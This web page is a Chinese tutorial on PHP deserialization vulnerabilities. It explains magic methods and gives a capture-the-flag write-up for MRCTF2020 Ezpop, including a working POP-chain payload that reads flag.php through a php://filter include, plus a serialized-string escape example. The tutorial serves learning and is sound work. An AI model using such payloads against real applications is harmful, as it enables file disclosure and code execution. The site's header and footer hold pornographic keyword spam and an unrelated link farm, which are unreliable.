电脑知识|欧美黑人一区二区三区|软件|欧美黑人一级爽快片淫片高清|系统|欧美黑人狂野猛交老妇|数据库|服务器|编程开发|网络运营|知识问答|技术教程文章 - 好吧啦网

您的位置:首頁技術文章
文章詳情頁

PHP反序列化漏洞實例深入解析

瀏覽:191日期:2022-06-06 09:30:36
目錄
  • 引文
  • 簡介
  • 基礎知識
    • 序列化
    • 反序列化
    • 屬性
    • 魔術方法
  • POP鏈
    • [MRCTF2020]Ezpop
  • PHP字符串逃逸
    • 結語

      引文

      上一篇給大家帶來了XSS跨站腳本攻擊漏洞不知道大家學的咋樣了,今天給大家帶來另一個漏洞,PHP的反序列化漏洞,這也是我在CTF比賽中遇到過最多的也是比較考察邏輯思維的一種漏洞。

      簡介

      PHP反序列化是一個非常常見的漏洞,利用難度相比于文件上傳等漏洞相對較困難,漏洞的形成的根本原因是程序沒有對用戶輸入的反序列化字符串進行檢測,導致反序列化過程可以被惡意控制,進而造成代碼執行、getshell等一系列不可控的后果。

      基礎知識

      在了解反序列化之前先看看反序列化與序列化:

      序列化

      序列化就是將 對象object、string、array、變量 轉換成具有一定格式的字符串,方便保持穩定的格式在文件中傳輸,以便還原為原來的內容。這個應該很好理解,學過JAVA反序列化的可以按照JAVA的去理解,只不過用到的函數不一樣罷了,下面是一個序列化的例子:

      <?phpclass XINO{    var $test = "123456";}$class1 = new XINO;$class1_ser = serialize($class1);print_r($class1_ser);?>

      輸出字符串:

      O:4:"XINO":1:{s:4:"test";s:6:"123456";}

      O代表存儲的是對象(object),4表示有4個字符,XINO表示對象名,1表示有一個值,括號里的以此類推。

      反序列化

      與序列化相對應,從序列化后的結果中恢復對象(object)。用法和上面的序列化函數差不多,只是作用相反,會恢復被序列化的字符串流。函數為:unserialize。

      屬性

      了解完序列化與反序列化,下一個要了解的我認為是php的屬性,有基礎的小伙伴可能會知道php的屬性有:public(公有),protected(受保護)或 private(私有)。

      由于變量的屬性不同,序列化后的結果也會有一些細微的差異,這是要十分記住的點,也是個人在學習中經常出錯的點:

      public:屬性被序列化的時候屬性值不會更改。

      protected:屬性被序列化的時候屬性值會變成 %00*%00屬性名

      private:屬性被序列化的時候屬性值會變成%00類名%00屬性名

      上面這些要牢牢記住,有時候反序列化攻擊不成功也許并不是反序列化利用鏈不對,而是這些細微的點出錯了。

      魔術方法

      所謂魔術方法,個人理解的是當達成某個特定條件時會自動調用的方法,而在php反序列化中,常用的魔術方法與觸發條件如下:

      __construct 當一個對象創建時被調用,
      __destruct 當一個對象銷毀時被調用,
      __toString 當一個對象被當作一個字符串被調用。
      __wakeup() 使用unserialize時觸發
      __sleep() 使用serialize時觸發
      __destruct() 對象被銷毀時觸發
      __call() 在對象上下文中調用不可訪問的方法時觸發
      __callStatic() 在靜態上下文中調用不可訪問的方法時觸發
      __get() 用于從不可訪問的屬性讀取數據
      __set() 用于將數據寫入不可訪問的屬性
      __isset() 在不可訪問的屬性上調用isset()或empty()觸發
      __unset() 在不可訪問的屬性上使用unset()時觸發
      __toString() 把類當作字符串使用時觸發,返回值需要為字符串
      __invoke() 當腳本嘗試將對象調用為函數時觸發

      比如下面代碼:

      <?php class TestClass {public $foo;public function __construct($foo) {$this->foo = $foo; } public function __toString() {return $this->foo; } } $class = new TestClass("Hello");echo $class; // 運行結果:Hello ?>

      我們新定義一個了一個TestClass類,由于一個新對象被創建,觸發__construct,echo該類時,對象被當作了字符串調用,于是觸發__toStrng()方法,最后輸出Hello。

      POP鏈

      學完上面的基礎知識后,我們可以引入POP鏈的知識了,當注入點存在普通的類方法中,我們就不能調用方法了,所以我們需要找到普通類與魔術方法之間的聯系,也就是構造POP鏈,理出一種邏輯思路,通過這種邏輯思路來構造一條pop鏈,從而達到攻擊的目的。

      下面給大家帶來一個簡單的例子:

      [MRCTF2020]Ezpop

      打開靶機發現網站源碼:

      Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {    protected  $var;    public function append($value){include($value);    }    public function __invoke(){$this->append($this->var);    }}class Show{    public $source;    public $str;    public function __construct($file="index.php"){$this->source = $file;echo "Welcome to ".$this->source."<br>";    }    public function __toString(){return $this->str->source;    }    public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {    echo "hacker";    $this->source = "index.php";}    }}class Test{    public $p;    public function __construct(){$this->p = array();    }    public function __get($key){$function = $this->p;return $function();    }}if(isset($_GET["pop"])){    @unserialize($_GET["pop"]);}else{    $a=new Show;    highlight_file(__FILE__);}

      這是一道比較經典的POP鏈題目,可以正著推或者反著推,本次我們反著推,我們一步一步分析:

      Modifier類

      class Modifier {    protected  $var;    public function append($value){include($value);    }    public function __invoke(){$this->append($this->var);    }

      可以看到有利用點include來進行文件包含,php偽協議來訪問flag.php。而要想觸發append函數, _invoke函數被調用時會觸發include函數。

      我們看TEST類,類中有 _get() 魔術方法,將this->p設為一個構造好的Modifier對象。再看看show類,其中有toString魔術方法,在一個對象被當作一個字符串使用時調用,當echo一個對象時會自動觸發這個方法。返回了 $this->str->source,最后的一步是讓source 等于對象,進而觸發 __toString方法。

      最后的構造的POP鏈payload為:

      <?phpclass Modifier {	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";}class Show{    public $source;    public $str;    public function __construct(){$this->str = new Test();    }}class Test{    public $p;}$a = new Show();$a->source = new Show();$a->source->str->p = new Modifier();echo urlencode(serialize($a));?>

      運行一下得到結果:

      提交就可以得到結果。

      PHP字符串逃逸

      學完POP鏈,我們進階講一下PHP字符串逃逸,這也是有一些難度的知識點,可以先簡單理解為SQL注入,這里就簡單講講:反序列化以;}為結束標志,后面的內容則忽略不管。假設我們構造一個序列化字符串

      a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

      如果題目中,將flag過濾,我們的字符串會變成:

      a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

      flag被替換為空了,字符長度不匹配就會向后讀取,因為我們要構造惡意字符串去匹配。從而達到逃逸。

      結語

      今天比較詳細的講了PHP反序列化漏洞的原理以及應用方法,有興趣的小伙伴可以自己去搭建靶機來進行測試,以上就是PHP反序列化漏洞實例深入解析的詳細內容,更多關于PHP反序列化漏洞的資料請關注其它相關文章!

      標簽: PHP
      相關文章:
      主站蜘蛛池模板: 电脑刺绣_绣花厂家_绣花章仔_织唛厂家-[源欣刺绣]潮牌刺绣打版定制绣花加工厂家 | 深圳诚暄fpc首页-柔性线路板,fpc柔性线路板打样生产厂家 | 单级/双级旋片式真空泵厂家,2xz旋片真空泵-浙江台州求精真空泵有限公司 | uv固化机-丝印uv机-工业烤箱-五金蚀刻机-分拣输送机 - 保定市丰辉机械设备制造有限公司 | 有福网(yofus.com)洗照片冲印,毕业聚会纪念册相册制作个性DIY平台 | 桑茶-七彩贝壳桑叶茶 长寿茶 | 游戏版号转让_游戏资质出售_游戏公司转让-【八九买卖网】 | 湖南教师资格网-湖南教师资格证考试网 | 不锈钢复合板厂家_钛钢复合板批发_铜铝复合板供应-威海泓方金属复合材料股份有限公司 | 厌氧工作站-通用型厌氧工作站-上海胜秋科学仪器有限公司 | 天津拓展_天津团建_天津趣味运动会_天津活动策划公司-天津华天拓展培训中心 | 北京公寓出租网-北京酒店式公寓出租平台 | 铁艺,仿竹,竹节,护栏,围栏,篱笆,栅栏,栏杆,护栏网,网围栏,厂家 - 河北稳重金属丝网制品有限公司 山东太阳能路灯厂家-庭院灯生产厂家-济南晟启灯饰有限公司 | 臭氧发生器_臭氧消毒机 - 【同林品牌 实力厂家】 | TPM咨询,精益生产管理,5S,6S现场管理培训_华谋咨询公司 | (中山|佛山|江门)环氧地坪漆,停车场地板漆,车库地板漆,聚氨酯地板漆-中山永旺地坪漆厂家 | 长沙中央空调维修,中央空调清洗维保,空气能热水工程,价格,公司就找维小保-湖南维小保环保科技有限公司 | 扬尘监测_扬尘监测系统_带证扬尘监测设备 - 郑州港迪科技有限公司 | 恒压供水控制柜|无负压|一体化泵站控制柜|PLC远程调试|MCGS触摸屏|自动控制方案-联致自控设备 | 通辽信息港 - 免费发布房产、招聘、求职、二手、商铺等信息 www.tlxxg.net | 金属回收_废铜废铁回收_边角料回收_废不锈钢回收_废旧电缆线回收-广东益夫金属回收公司 | 油漆辅料厂家_阴阳脚线_艺术漆厂家_内外墙涂料施工_乳胶漆专用防霉腻子粉_轻质粉刷石膏-魔法涂涂 | ge超声波测厚仪-电动涂膜机-电动划格仪-上海洪富 | 汽液过滤网厂家_安平县银锐丝网有限公司 | 彼得逊采泥器-定深式采泥器-电动土壤采样器-土壤样品风干机-常州索奥仪器制造有限公司 | 吸音板,隔音板,吸音材料,吸音板价格,声学材料 - 佛山诺声吸音板厂家 | 盘煤仪,盘料仪,盘点仪,堆料测量仪,便携式激光盘煤仪-中科航宇(北京)自动化工程技术有限公司 | 汽液过滤网厂家_安平县银锐丝网有限公司 | 杭州货架订做_组合货架公司_货位式货架_贯通式_重型仓储_工厂货架_货架销售厂家_杭州永诚货架有限公司 | 流量卡中心-流量卡套餐查询系统_移动电信联通流量卡套餐大全 | 油液红外光谱仪-油液监测系统-燃油嗅探仪-上海冉超光电科技有限公司 | 工业车间焊接-整体|集中除尘设备-激光|等离子切割机配套除尘-粉尘烟尘净化治理厂家-山东美蓝环保科技有限公司 | 昆明网络公司|云南网络公司|昆明网站建设公司|昆明网页设计|云南网站制作|新媒体运营公司|APP开发|小程序研发|尽在昆明奥远科技有限公司 | 精密模具制造,注塑加工,吹塑和吹瓶加工,EPS泡沫包装生产 - 济南兴田塑胶有限公司 | 冷藏车厂家|冷藏车价格|小型冷藏车|散装饲料车厂家|程力专用汽车股份有限公司销售十二分公司 | 中天寰创-内蒙古钢结构厂家|门式刚架|钢结构桁架|钢结构框架|包头钢结构煤棚 | 报警器_家用防盗报警器_烟雾报警器_燃气报警器_防盗报警系统厂家-深圳市刻锐智能科技有限公司 | 贵阳用友软件,贵州财务软件,贵阳ERP软件_贵州优智信息技术有限公司 | 欧美日韩国产一区二区三区不_久久久久国产精品无码不卡_亚洲欧洲美洲无码精品AV_精品一区美女视频_日韩黄色性爱一级视频_日本五十路人妻斩_国产99视频免费精品是看4_亚洲中文字幕无码一二三四区_国产小萍萍挤奶喷奶水_亚洲另类精品无码在线一区 | 机构创新组合设计实验台_液压实验台_气动实训台-戴育教仪厂 | 泰国专线_泰国物流专线_广州到泰国物流公司-泰廊曼国际 |